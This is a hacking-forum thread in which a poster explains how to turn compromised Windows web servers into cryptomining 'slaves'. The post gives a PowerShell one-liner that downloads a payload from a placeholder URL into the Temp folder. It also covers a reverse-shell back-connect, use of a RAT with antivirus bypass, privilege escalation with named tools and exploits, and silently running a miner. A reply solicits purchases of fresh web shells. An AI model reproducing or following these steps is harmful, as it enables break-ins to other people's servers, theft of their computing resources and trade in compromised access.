Thread: [Web Shell to Crypto Miner | Build your own Mining bot net](#)

hydra11 - August 26, 2022, 7:11 am

hello HF this method i going to explain most profitable method in mining for me considering the investment i have made (0 dollars), so today i will explain how you can build a mining slave from web shell, for this you must need 3 things

1. windows server web shell (a functioning web shell on a vulnerable windows server)
2. a loader (bot net or rat here i use 888 rat because its inbuilt autocrypt bypass sophos endpoint)
3. a silent miner (you can use private or opensource miner its up to you)

phase:1

after getting web shell you must check for shell command execution permissions, in this case i got unlucky which have very low or null permission to execute command on system level, but it supports simple dir other simple system functions

after checking for some time i find out powershell is functioning

also i got little lucky it supports powershell one-liner so my next step is building a powershell one liner that can download my payload on location i like

```
Code (New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip",  
"C:\Windows\Temp\archive.zip")
```

by this i was able to bypass the write permission restriction on web server and loaded my exe in to temp folder, next step is executing my payload

hence my payload is bypassing current endpoint i used reverse shell aspx to build a back connect and execute payload form there

which helps me to send the web server to my rat (you can also use bot for this, i am using 888 rat for now)

phase 2:

now we have a slave in our server next thing we have to do escalate the privilege and then run our miner

for local privilege escalation am using priv check from GitHub

<https://github.com/itm4n/PrivescCheck>

if you want you can use other tools or exploits like dirty potato or sharpsplit

once i power up my implant next set up is running my miner

you can execute your running miner using your bot or rat download and execute function, once everything is done correct, on your miner dashboard you can see the mining hashes

yes this hashes not even come close to a gaming rig slave but this webs server slave is more reliable than a gaming rig slave because once cheat or what ever spreading method used stop working they may reset pc you loose your high investment, in other hand web server will stay online 365x24 and there is tons of vulnerable servers out there if you determined and have enough time its easy to make money as side job

tnx bro, i will soon release botnet over tor tutorial soon

webshell buyer - April 24, 2023, 11:31 pm

#wtb fresh shell

Need different IP

Can upload and edit

No need subdomain

My process:send domain list > chose > send shell >

check shell > work > pay PM

If you have, please dm
